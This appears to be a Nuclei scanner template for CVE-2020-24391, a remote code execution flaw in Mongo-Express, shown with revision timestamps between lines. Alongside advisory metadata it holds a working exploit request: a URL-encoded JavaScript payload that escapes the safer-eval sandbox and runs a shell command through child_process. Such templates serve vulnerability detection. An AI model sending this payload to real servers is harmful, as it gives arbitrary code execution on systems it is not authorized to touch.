2022-01-20 09:25:01 +00:00
id : CVE-2020-24391
info :
2022-05-13 20:26:43 +00:00
name : Mongo-Express - Remote Code Execution
2022-01-20 09:25:01 +00:00
author : leovalcante
severity : critical
2022-05-13 20:26:43 +00:00
description : Mongo-Express before 1.0.0 is susceptible to remote code execution because it uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to remote code execution in the context of the node server.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
2023-09-06 12:22:36 +00:00
remediation : |
Apply the latest security patches or updates provided by the vendor to fix this vulnerability.
2022-01-20 09:25:01 +00:00
reference :
- https://securitylab.github.com/advisories/GHSL-2020-131-mongo-express/
2022-03-29 10:33:49 +00:00
- https://github.com/mongo-express/mongo-express/commit/3a26b079e7821e0e209c3ee0cc2ae15ad467b91a
2022-01-20 09:25:01 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-24391
2022-05-17 09:18:12 +00:00
- https://github.com/mongodb-js/query-parser/issues/16
2022-01-20 09:25:01 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2020-24391
2024-01-14 13:49:27 +00:00
epss-score : 0.47737
epss-percentile : 0.97156
2023-09-06 12:22:36 +00:00
cpe : cpe:2.3:a:mongo-express_project:mongo-express:*:*:*:*:*:node.js:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 3
2023-07-11 19:49:27 +00:00
vendor : mongo-express_project
product : mongo-express
2023-09-06 12:22:36 +00:00
framework : node.js
2023-12-05 09:50:33 +00:00
tags : cve,cve2020,mongo,express,rce,intrusive,mongo-express_project,node.js
2022-01-20 09:25:01 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-01-20 09:25:01 +00:00
- raw :
- |
GET / HTTP/1.1
Host : {{Hostname}}
- |
POST /checkValid HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
document=++++++++++++%28%28%29+%3D%3E+%7B%0A++++++++const+process+%3D+clearImmediate.constructor%28%22return+process%3B%22%29%28%29%3B%0A++++++++const+result+%3D+process.mainModule.require%28%22child_process%22%29.execSync%28%22id+%3E+build%2Fcss%2F{{randstr}}.css%22%29%3B%0A++++++++console.log%28%22Result%3A+%22+%2B+result%29%3B%0A++++++++return+true%3B%0A++++%7D%29%28%29++++++++
- |
GET /public/css/{{randstr}}.css HTTP/1.1
Host : {{Hostname}}
matchers-condition : and
matchers :
- type : regex
part : body_3
regex :
- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
- type : status
status :
- 200
extractors :
- type : regex
regex :
- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
2024-01-14 14:05:19 +00:00
# digest: 4a0a0047304502205191043c18e253b4a4d803b9a6f6e9f788a93bf9cf910f65b08476c7b1f543410221008d73d54b3e6435ebbf41219c8913504f7ad47da54c1a349c3bbaf5a093628c95:922c64590222798bb761d5b6d8e72950